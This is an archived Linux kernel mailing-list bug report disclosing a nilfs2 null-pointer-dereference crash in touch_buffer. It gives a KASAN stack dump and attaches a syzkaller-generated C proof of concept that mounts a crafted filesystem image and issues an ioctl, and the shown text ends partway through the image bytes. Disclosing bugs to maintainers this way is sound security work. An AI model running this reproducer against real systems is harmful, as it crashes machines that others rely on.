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From: "Ubisectech Sirius" <bugreport@valiantsec.com>
To: "linux-kernel" <linux-kernel@vger.kernel.org>
Cc: "konishi.ryusuke" <konishi.ryusuke@gmail.com>
Subject: general protection fault in touch_buffer
Date: Wed, 04 Sep 2024 10:05:47 +0800	[thread overview]
Message-ID: <86bd3013-887e-4e38-960f-ca45c657f032.bugreport@valiantsec.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 5387 bytes --]

Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.11.0-rc2-g6a0e38264012. Attached to the email were a PoC file of the issue.

Stack dump:

Oops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] PREEMPT SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]
CPU: 0 UID: 0 PID: 14256 Comm: syz.1.435 Not tainted 6.11.0-rc2-g6a0e38264012 #49
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:perf_trace_block_buffer+0x232/0x590 include/trace/events/block.h:24
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 5f 02 00 00 48 b8 00 00 00 00 00 fc ff df 49 8b 56 30 48 8d 7a 34 48 89 f9 48 c1 e9 03 <0f> b6 0c 01 48 89 f8 83 e0 07 83 c0 03 38 c8 7c 08 84 c9 0f 85 9c
RSP: 0018:ffffc90001957818 EFLAGS: 00010207
RAX: dffffc0000000000 RBX: ffffe8ffad633a98 RCX: 0000000000000006
RDX: 0000000000000000 RSI: 1ffff110058c6f97 RDI: 0000000000000034
RBP: ffffc900019578d8 R08: 0000000000000004 R09: 0000000000000004
R10: ffffe8ffad6ba000 R11: 0000000000000001 R12: 1ffff9200032af06
R13: ffffffff8e3a3fe0 R14: ffff88801fb7e2b8 R15: ffffc900019578b0
FS:  00007f6a432a0640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005614bbc3d038 CR3: 000000004c664000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
 <TASK>
 trace_block_touch_buffer include/trace/events/block.h:54 [inline]
 touch_buffer+0x178/0x250 fs/buffer.c:64
 __nilfs_get_folio_block fs/nilfs2/page.c:42 [inline]
 nilfs_grab_buffer+0x1bb/0x380 fs/nilfs2/page.c:61
 nilfs_mdt_submit_block+0xa4/0x870 fs/nilfs2/mdt.c:121
 nilfs_mdt_read_block+0x92/0x3c0 fs/nilfs2/mdt.c:176
 nilfs_mdt_get_block+0xd2/0xaa0 fs/nilfs2/mdt.c:251
 nilfs_cpfile_get_checkpoint_block fs/nilfs2/cpfile.c:139 [inline]
 nilfs_cpfile_set_snapshot fs/nilfs2/cpfile.c:763 [inline]
 nilfs_cpfile_change_cpmode+0x19f/0x1b70 fs/nilfs2/cpfile.c:1055
 nilfs_ioctl_change_cpmode fs/nilfs2/ioctl.c:209 [inline]
 nilfs_ioctl+0x64f/0x1720 fs/nilfs2/ioctl.c:1278
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:907 [inline]
 __se_sys_ioctl fs/ioctl.c:893 [inline]
 __x64_sys_ioctl+0x1a1/0x210 fs/ioctl.c:893
 do_syscall_x64 arch/x86/entry/common.c:52 [inline]
 do_syscall_64+0xcb/0x250 arch/x86/entry/common.c:83
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f6a4259712d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f6a4329ff98 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f6a42735f80 RCX: 00007f6a4259712d
RDX: 0000000020000080 RSI: 0000000040106e80 RDI: 000000000000000c
RBP: 00007f6a4261bd8a R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 0000000000000000 R14: 00007f6a42735f80 R15: 00007f6a43280000
 </TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:perf_trace_block_buffer+0x232/0x590 include/trace/events/block.h:24
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 5f 02 00 00 48 b8 00 00 00 00 00 fc ff df 49 8b 56 30 48 8d 7a 34 48 89 f9 48 c1 e9 03 <0f> b6 0c 01 48 89 f8 83 e0 07 83 c0 03 38 c8 7c 08 84 c9 0f 85 9c
RSP: 0018:ffffc90001957818 EFLAGS: 00010207
RAX: dffffc0000000000 RBX: ffffe8ffad633a98 RCX: 0000000000000006
RDX: 0000000000000000 RSI: 1ffff110058c6f97 RDI: 0000000000000034
RBP: ffffc900019578d8 R08: 0000000000000004 R09: 0000000000000004
R10: ffffe8ffad6ba000 R11: 0000000000000001 R12: 1ffff9200032af06
R13: ffffffff8e3a3fe0 R14: ffff88801fb7e2b8 R15: ffffc900019578b0
FS:  00007f6a432a0640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005614bbc3d038 CR3: 000000004c664000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
----------------
Code disassembly (best guess):
   0:   48 89 fa                mov    %rdi,%rdx
   3:   48 c1 ea 03             shr    $0x3,%rdx
   7:   80 3c 02 00             cmpb   $0x0,(%rdx,%rax,1)
   b:   0f 85 5f 02 00 00       jne    0x270
  11:   48 b8 00 00 00 00 00    movabs $0xdffffc0000000000,%rax
  18:   fc ff df
  1b:   49 8b 56 30             mov    0x30(%r14),%rdx
  1f:   48 8d 7a 34             lea    0x34(%rdx),%rdi
  23:   48 89 f9                mov    %rdi,%rcx
  26:   48 c1 e9 03             shr    $0x3,%rcx
* 2a:   0f b6 0c 01             movzbl (%rcx,%rax,1),%ecx <-- trapping instruction
  2e:   48 89 f8                mov    %rdi,%rax
  31:   83 e0 07                and    $0x7,%eax
  34:   83 c0 03                add    $0x3,%eax
  37:   38 c8                   cmp    %cl,%al
  39:   7c 08                   jl     0x43
  3b:   84 c9                   test   %cl,%cl
  3d:   0f                      .byte 0xf
  3e:   85                      .byte 0x85
  3f:   9c                      pushf

Thank you for taking the time to read this email and we look forward to working with you further.




[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 39203 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/loop.h>

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif

static unsigned long long procid;

static void sleep_ms(uint64_t ms)
{
  usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len)               \
  *(type*)(addr) =                                                             \
      htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) |           \
            (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:

//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty.  In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//%    claim that you wrote the original software. If you use this software
//%    in a product, an acknowledgment in the product documentation would be
//%    appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//%    misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler    madler@alumni.caltech.edu

//% BEGIN CODE DERIVED FROM puff.{c,h}

#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288

struct puff_state {
  unsigned char* out;
  unsigned long outlen;
  unsigned long outcnt;
  const unsigned char* in;
  unsigned long inlen;
  unsigned long incnt;
  int bitbuf;
  int bitcnt;
  jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
  long val = s->bitbuf;
  while (s->bitcnt < need) {
    if (s->incnt == s->inlen)
      longjmp(s->env, 1);
    val |= (long)(s->in[s->incnt++]) << s->bitcnt;
    s->bitcnt += 8;
  }
  s->bitbuf = (int)(val >> need);
  s->bitcnt -= need;
  return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
  s->bitbuf = 0;
  s->bitcnt = 0;
  if (s->incnt + 4 > s->inlen)
    return 2;
  unsigned len = s->in[s->incnt++];
  len |= s->in[s->incnt++] << 8;
  if (s->in[s->incnt++] != (~len & 0xff) ||
      s->in[s->incnt++] != ((~len >> 8) & 0xff))
    return -2;
  if (s->incnt + len > s->inlen)
    return 2;
  if (s->outcnt + len > s->outlen)
    return 1;
  for (; len--; s->outcnt++, s->incnt++) {
    if (s->in[s->incnt])
      s->out[s->outcnt] = s->in[s->incnt];
  }
  return 0;
}
struct puff_huffman {
  short* count;
  short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
  int first = 0;
  int index = 0;
  int bitbuf = s->bitbuf;
  int left = s->bitcnt;
  int code = first = index = 0;
  int len = 1;
  short* next = h->count + 1;
  while (1) {
    while (left--) {
      code |= bitbuf & 1;
      bitbuf >>= 1;
      int count = *next++;
      if (code - count < first) {
        s->bitbuf = bitbuf;
        s->bitcnt = (s->bitcnt - len) & 7;
        return h->symbol[index + (code - first)];
      }
      index += count;
      first += count;
      first <<= 1;
      code <<= 1;
      len++;
    }
    left = (MAXBITS + 1) - len;
    if (left == 0)
      break;
    if (s->incnt == s->inlen)
      longjmp(s->env, 1);
    bitbuf = s->in[s->incnt++];
    if (left > 8)
      left = 8;
  }
  return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
  int len;
  for (len = 0; len <= MAXBITS; len++)
    h->count[len] = 0;
  int symbol;
  for (symbol = 0; symbol < n; symbol++)
    (h->count[length[symbol]])++;
  if (h->count[0] == n)
    return 0;
  int left = 1;
  for (len = 1; len <= MAXBITS; len++) {
    left <<= 1;
    left -= h->count[len];
    if (left < 0)
      return left;
  }
  short offs[MAXBITS + 1];
  offs[1] = 0;
  for (len = 1; len < MAXBITS; len++)
    offs[len + 1] = offs[len] + h->count[len];
  for (symbol = 0; symbol < n; symbol++)
    if (length[symbol] != 0)
      h->symbol[offs[length[symbol]]++] = symbol;
  return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
                      const struct puff_huffman* distcode)
{
  static const short lens[29] = {3,  4,  5,  6,   7,   8,   9,   10,  11, 13,
                                 15, 17, 19, 23,  27,  31,  35,  43,  51, 59,
                                 67, 83, 99, 115, 131, 163, 195, 227, 258};
  static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
                                 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
  static const short dists[30] = {
      1,    2,    3,    4,    5,    7,    9,    13,    17,    25,
      33,   49,   65,   97,   129,  193,  257,  385,   513,   769,
      1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
  static const short dext[30] = {0, 0, 0,  0,  1,  1,  2,  2,  3,  3,
                                 4, 4, 5,  5,  6,  6,  7,  7,  8,  8,
                                 9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
  int symbol;
  do {
    symbol = puff_decode(s, lencode);
    if (symbol < 0)
      return symbol;
    if (symbol < 256) {
      if (s->outcnt == s->outlen)
        return 1;
      if (symbol)
        s->out[s->outcnt] = symbol;
      s->outcnt++;
    } else if (symbol > 256) {
      symbol -= 257;
      if (symbol >= 29)
        return -10;
      int len = lens[symbol] + puff_bits(s, lext[symbol]);
      symbol = puff_decode(s, distcode);
      if (symbol < 0)
        return symbol;
      unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
      if (dist > s->outcnt)
        return -11;
      if (s->outcnt + len > s->outlen)
        return 1;
      while (len--) {
        if (dist <= s->outcnt && s->out[s->outcnt - dist])
          s->out[s->outcnt] = s->out[s->outcnt - dist];
        s->outcnt++;
      }
    }
  } while (symbol != 256);
  return 0;
}
static int puff_fixed(struct puff_state* s)
{
  static int virgin = 1;
  static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
  static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
  static struct puff_huffman lencode, distcode;
  if (virgin) {
    lencode.count = lencnt;
    lencode.symbol = lensym;
    distcode.count = distcnt;
    distcode.symbol = distsym;
    short lengths[FIXLCODES];
    int symbol;
    for (symbol = 0; symbol < 144; symbol++)
      lengths[symbol] = 8;
    for (; symbol < 256; symbol++)
      lengths[symbol] = 9;
    for (; symbol < 280; symbol++)
      lengths[symbol] = 7;
    for (; symbol < FIXLCODES; symbol++)
      lengths[symbol] = 8;
    puff_construct(&lencode, lengths, FIXLCODES);
    for (symbol = 0; symbol < MAXDCODES; symbol++)
      lengths[symbol] = 5;
    puff_construct(&distcode, lengths, MAXDCODES);
    virgin = 0;
  }
  return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
  static const short order[19] = {16, 17, 18, 0, 8,  7, 9,  6, 10, 5,
                                  11, 4,  12, 3, 13, 2, 14, 1, 15};
  int nlen = puff_bits(s, 5) + 257;
  int ndist = puff_bits(s, 5) + 1;
  int ncode = puff_bits(s, 4) + 4;
  if (nlen > MAXLCODES || ndist > MAXDCODES)
    return -3;
  short lengths[MAXCODES];
  int index;
  for (index = 0; index < ncode; index++)
    lengths[order[index]] = puff_bits(s, 3);
  for (; index < 19; index++)
    lengths[order[index]] = 0;
  short lencnt[MAXBITS + 1], lensym[MAXLCODES];
  struct puff_huffman lencode = {lencnt, lensym};
  int err = puff_construct(&lencode, lengths, 19);
  if (err != 0)
    return -4;
  index = 0;
  while (index < nlen + ndist) {
    int symbol;
    int len;
    symbol = puff_decode(s, &lencode);
    if (symbol < 0)
      return symbol;
    if (symbol < 16)
      lengths[index++] = symbol;
    else {
      len = 0;
      if (symbol == 16) {
        if (index == 0)
          return -5;
        len = lengths[index - 1];
        symbol = 3 + puff_bits(s, 2);
      } else if (symbol == 17)
        symbol = 3 + puff_bits(s, 3);
      else
        symbol = 11 + puff_bits(s, 7);
      if (index + symbol > nlen + ndist)
        return -6;
      while (symbol--)
        lengths[index++] = len;
    }
  }
  if (lengths[256] == 0)
    return -9;
  err = puff_construct(&lencode, lengths, nlen);
  if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
    return -7;
  short distcnt[MAXBITS + 1], distsym[MAXDCODES];
  struct puff_huffman distcode = {distcnt, distsym};
  err = puff_construct(&distcode, lengths + nlen, ndist);
  if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
    return -8;
  return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
                const unsigned char* source, unsigned long sourcelen)
{
  struct puff_state s = {
      .out = dest,
      .outlen = *destlen,
      .outcnt = 0,
      .in = source,
      .inlen = sourcelen,
      .incnt = 0,
      .bitbuf = 0,
      .bitcnt = 0,
  };
  int err;
  if (setjmp(s.env) != 0)
    err = 2;
  else {
    int last;
    do {
      last = puff_bits(&s, 1);
      int type = puff_bits(&s, 2);
      err = type == 0 ? puff_stored(&s)
                      : (type == 1 ? puff_fixed(&s)
                                   : (type == 2 ? puff_dynamic(&s) : -1));
      if (err != 0)
        break;
    } while (!last);
  }
  *destlen = s.outcnt;
  return err;
}

//% END CODE DERIVED FROM puff.{c,h}

#define ZLIB_HEADER_WIDTH 2

static int puff_zlib_to_file(const unsigned char* source,
                             unsigned long sourcelen, int dest_fd)
{
  if (sourcelen < ZLIB_HEADER_WIDTH)
    return 0;
  source += ZLIB_HEADER_WIDTH;
  sourcelen -= ZLIB_HEADER_WIDTH;
  const unsigned long max_destlen = 132 << 20;
  void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
                   MAP_PRIVATE | MAP_ANON, -1, 0);
  if (ret == MAP_FAILED)
    return -1;
  unsigned char* dest = (unsigned char*)ret;
  unsigned long destlen = max_destlen;
  int err = puff(dest, &destlen, source, sourcelen);
  if (err) {
    munmap(dest, max_destlen);
    errno = -err;
    return -1;
  }
  if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
    munmap(dest, max_destlen);
    return -1;
  }
  return munmap(dest, max_destlen);
}

static int setup_loop_device(unsigned char* data, unsigned long size,
                             const char* loopname, int* loopfd_p)
{
  int err = 0, loopfd = -1;
  int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
  if (memfd == -1) {
    err = errno;
    goto error;
  }
  if (puff_zlib_to_file(data, size, memfd)) {
    err = errno;
    goto error_close_memfd;
  }
  loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    err = errno;
    goto error_close_memfd;
  }
  if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
    if (errno != EBUSY) {
      err = errno;
      goto error_close_loop;
    }
    ioctl(loopfd, LOOP_CLR_FD, 0);
    usleep(1000);
    if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
      err = errno;
      goto error_close_loop;
    }
  }
  close(memfd);
  *loopfd_p = loopfd;
  return 0;

error_close_loop:
  close(loopfd);
error_close_memfd:
  close(memfd);
error:
  errno = err;
  return -1;
}

static void reset_loop_device(const char* loopname)
{
  int loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    return;
  }
  if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
  }
  close(loopfd);
}

static long syz_mount_image(volatile long fsarg, volatile long dir,
                            volatile long flags, volatile long optsarg,
                            volatile long change_dir,
                            volatile unsigned long size, volatile long image)
{
  unsigned char* data = (unsigned char*)image;
  int res = -1, err = 0, need_loop_device = !!size;
  char* mount_opts = (char*)optsarg;
  char* target = (char*)dir;
  char* fs = (char*)fsarg;
  char* source = NULL;
  char loopname[64];
  if (need_loop_device) {
    int loopfd;
    memset(loopname, 0, sizeof(loopname));
    snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
    if (setup_loop_device(data, size, loopname, &loopfd) == -1)
      return -1;
    close(loopfd);
    source = loopname;
  }
  mkdir(target, 0777);
  char opts[256];
  memset(opts, 0, sizeof(opts));
  if (strlen(mount_opts) > (sizeof(opts) - 32)) {
  }
  strncpy(opts, mount_opts, sizeof(opts) - 32);
  if (strcmp(fs, "iso9660") == 0) {
    flags |= MS_RDONLY;
  } else if (strncmp(fs, "ext", 3) == 0) {
    bool has_remount_ro = false;
    char* remount_ro_start = strstr(opts, "errors=remount-ro");
    if (remount_ro_start != NULL) {
      char after = *(remount_ro_start + strlen("errors=remount-ro"));
      char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
      has_remount_ro = ((before == '\0' || before == ',') &&
                        (after == '\0' || after == ','));
    }
    if (strstr(opts, "errors=panic") || !has_remount_ro)
      strcat(opts, ",errors=continue");
  } else if (strcmp(fs, "xfs") == 0) {
    strcat(opts, ",nouuid");
  }
  res = mount(source, target, fs, flags, opts);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  res = open(target, O_RDONLY | O_DIRECTORY);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  if (change_dir) {
    res = chdir(target);
    if (res == -1) {
      err = errno;
    }
  }

error_clear_loop:
  if (need_loop_device)
    reset_loop_device(loopname);
  errno = err;
  return res;
}

static void kill_and_wait(int pid, int* status)
{
  kill(-pid, SIGKILL);
  kill(pid, SIGKILL);
  for (int i = 0; i < 100; i++) {
    if (waitpid(-1, status, WNOHANG | __WALL) == pid)
      return;
    usleep(1000);
  }
  DIR* dir = opendir("/sys/fs/fuse/connections");
  if (dir) {
    for (;;) {
      struct dirent* ent = readdir(dir);
      if (!ent)
        break;
      if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
        continue;
      char abort[300];
      snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
               ent->d_name);
      int fd = open(abort, O_WRONLY);
      if (fd == -1) {
        continue;
      }
      if (write(fd, abort, 1) < 0) {
      }
      close(fd);
    }
    closedir(dir);
  } else {
  }
  while (waitpid(-1, status, __WALL) != pid) {
  }
}

static void reset_loop()
{
  char buf[64];
  snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
  int loopfd = open(buf, O_RDWR);
  if (loopfd != -1) {
    ioctl(loopfd, LOOP_CLR_FD, 0);
    close(loopfd);
  }
}

static void setup_test()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
  int iter = 0;
  for (;; iter++) {
    reset_loop();
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
      setup_test();
      execute_one();
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();
    for (;;) {
      sleep_ms(10);
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      if (current_time_ms() - start < 5000)
        continue;
      kill_and_wait(pid, &status);
      break;
    }
  }
}

void execute_one(void)
{
  if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
  }
  memcpy((void*)0x20000ec0, "nilfs2\000", 7);
  memcpy((void*)0x200000c0, "./file1\000", 8);
  *(uint8_t*)0x20000040 = 0;
  *(uint8_t*)0x20000041 = 0;
  *(uint8_t*)0x20000042 = -1;
  *(uint8_t*)0x20000043 = -1;
  sprintf((char*)0x20000044, "%020llu", (long long)-1);
  sprintf((char*)0x20000058, "%020llu", (long long)0);
  *(uint32_t*)0x2000006c = 0;
  sprintf((char*)0x20000070, "%020llu", (long long)0);
  sprintf((char*)0x20000084, "0x%016llx", (long long)-1);
  memcpy(
      (void*)0x20001580,
      "\x78\x9c\xec\xdd\x4f\x6c\x1c\x57\x19\x00\xf0\x37\xeb\xbf\x89\xdd\x78\xdd"
      "\x16\x9a\xb6\x34\x09\x2d\x25\x6d\x00\x27\x75\x72\x28\xb7\x54\x8a\x40\xaa"
      "\xaa\xaa\x17\xee\xad\xd2\xa4\x8d\x70\x4b\x20\xe5\xd0\xaa\x51\x52\x4e\xa9"
      "\xc4\xa1\xa8\x2a\x87\x22\x0e\x45\xed\x0d\x29\x1c\x90\x68\x85\x84\x2a\x24"
      "\x24\xfe\xf4\xc0\x15\x0e\xa8\x82\x0b\x08\x05\x29\x52\x25\x44\xa4\xc4\xc8"
      "\xce\x7b\xeb\xf5\xb3\xc7\xbb\x1e\xaf\x67\xd7\xde\xdf\x4f\xfa\xfc\xf6\xcd"
      "\x9b\x9d\xef\x1b\xaf\xe3\xcc\x5b\xef\xbe\x0d\xc0\xd0\x6a\x2c\x7f\x3d\x71"
      "\x62\x7f\x11\xc2\x3b\x1f\xbd\x7d\xea\x9b\x97\x6e\xfd\x6a\x69\xdb\xc1\xd6"
      "\x1e\x87\x96\xbf\x16\xb1\xd7\x0c\x21\x8c\xb5\xf5\x8b\xec\x78\x9f\xc6\x0d"
      "\x37\xaf\xbf\x7e\x7a\xa9\xbd\x95\xb5\x21\xcc\x2f\xdd\x6b\x34\x8d\x87\xa7"
      "\xaf\xb5\xee\x3b\x15\x42\xb8\x1c\x0e\x85\x8f\x43\x33\x1c\x3c\xd2\xfc\xec"
      "\xca\xc8\x53\x67\x3f\x78\xf7\x93\xc3\x17\xcf\x3f\xf9\xe2\xb6\x9c\x3c\x00"
      "\x00\x0c\x99\xab\x7f\x5c\xf8\xeb\xa3\xff\xfc\xc3\x57\x67\x6f\x5c\x3d\x70"
      "\x32\x4c\xb4\xb6\xa7\xeb\xf3\x66\xec\x4f\xc5\xeb\xfe\x63\xf1\xfa\x3e\x5d"
      "\xf7\x37\xc2\xea\x7e\xd1\x16\xed\xc6\xb3\xfd\x46\x62\x34\xb2\xfd\x46\xb2"
      "\xfd\x46\xb3\x3c\xa3\x25\xf9\xc6\xb2\xe3\x8c\x95\xec\x37\xde\x21\xdf\x48"
      "\xdb\xb6\xf5\xce\x73\xc5\xc4\x9a\x2d\x00\x00\x00\x30\xa8\xd2\xbc\xb6\x19"
      "\x8a\xc6\xdc\xaa\x7e\xa3\x31\x37\x77\x7b\xde\xbf\xe4\xd3\x99\xf1\x62\xee"
      "\xe5\x73\x0b\x67\x2f\xf4\xa9\x50\x00\x00\x00\xa0\xb2\xcf\x2e\x2d\xbf\xe8"
      "\x56\xec\x88\x98\x1c\x80\x1a\xd6\xc6\xf8\x00\xd4\x20\x84\x10\x42\x08\x21"
      "\x84\x10\x62\xe3\x58\x9c\xe9\xf7\x33\x10\x00\x00\x00\xc0\xb0\x49\xeb\x0e"
      "\xb4\xd6\x07\xcb\x5d\xce\x57\x16\xd8\x9a\xd6\xd1\x9a\xdd\xe5\xbf\xf6\x44"
      "\x63\xfd\xfb\x43\x0f\x74\xfa\xf9\xdb\xee\x9f\xb7\xba\xff\xfd\xc9\xbf\xb9"
      "\xfc\xef\xbf\xe1\x37\x0e\x00\x00\xd5\xed\xd6\xab\xc9\x74\x5e\xe9\x3a\x7a"
      "\xea\xcd\x3d\xcb\xfd\x7c\x1d\xc1\x91\xec\x7e\x9b\xbd\xfe\x6f\x64\xc7\x19"
      "\xdd\x64\x9d\x6b\xd7\x15\xdc\x78\xfb\xa0\x29\xab\x33\xff\xbe\x0e\xaa\xb2"
      "\xfa\x37\xfb\x38\xf6\x4b\x59\xfd\xf9\x7a\x98\x83\xaa\xac\xfe\x7c\x9d\xce"
      "\x41\x55\x56\xff\x4e\x59\x1d\xb4\xac\xfe\xc9\x1d\xf2\x3b\xa8\xac\xc6\x3d"
      "\x35\xd7\x51\x55\x59\xfd\x7b\x6b\xae\xa3\xaa\xb2\xfa\xa7\x6a\xae\xa3\xaa"
      "\xb2\xfa\xa7\x6b\xae\xa3\xaa\xb2\xfa\xef\xa8\xb9\x8e\xaa\xca\xea\xdf\x57"
      "\x73\x1d\x55\x95\xd5\xbf\x53\x5e\x56\x5b\x56\x7f\xb3\xe6\x3a\xaa\x2a\xab"
      "\x7f\xb6\xe6\x3a\xaa\x2a\xab\xff\xce\x9a\xeb\xa8\xaa\xac\xfe\xbb\x6a\xae"
      "\xa3\xaa\xb2\xfa\xef\xae\xb9\x8e\x7e\x79\x20\xb6\xe9\xfb\x70\x20\x1b\x6f"
      "\xcd\x9f\xd7\x99\xd3\xed\x94\x39\x1e\x00\x00\x00\x0c\xbb\xff\x59\xff\x4f"
      "\xf4\x30\x0e\x0e\x40\x0d\x03\x1f\xa3\xeb\x6c\x1b\x1b\x80\xba\x84\x58\x89"
      "\x91\x01\xa8\x41\x08\x21\x84\x10\x42\xf4\x38\x2e\xf5\xfb\x09\x08\x00\x00"
      "\x00\xa0\xef\xd2\xfb\x02\xd2\xbb\xde\x17\xa3\x34\x3e\xd2\x61\x7c\xb4\xc3"
      "\xf8\xd8\x86\xe3\x23\xad\xf7\x01\x97\xdd\x7f\xa2\xc3\xf8\x5a\xff\xed\xb8"
      "\x07\x00\x00\x00\xec\x36\xbf\xbe\x72\xf6\xde\xb7\x8a\x95\xf7\xf9\x6f\x75"
      "\x3d\xbc\xc9\xd8\xa6\xf5\x97\x36\xbb\x8e\x51\xbe\x1e\xe1\x66\xf3\x6f\x75"
      "\xdd\xb3\xad\xe6\xdf\x29\xeb\x96\x01\x00\x00\x30\x5c\x8a\x6f\x7c\x7c\xeb"
      "\xc8\xa9\xf7\x5e\x99\xbd\x71\xf5\xc0\xc9\xb6\xd9\xef\xad\x38\xdf\x4d\xeb"
      "\x80\x8e\xc6\xe7\x06\x3e\x8c\xfd\xf4\xba\x80\xe9\xac\x5f\xa4\x39\xf4\xc9"
      "\xd5\x79\x1a\x25\xfb\xe5\xcf\x0f\xdc\x51\x76\xbc\x67\xb6\x78\xa2\x00\x00"
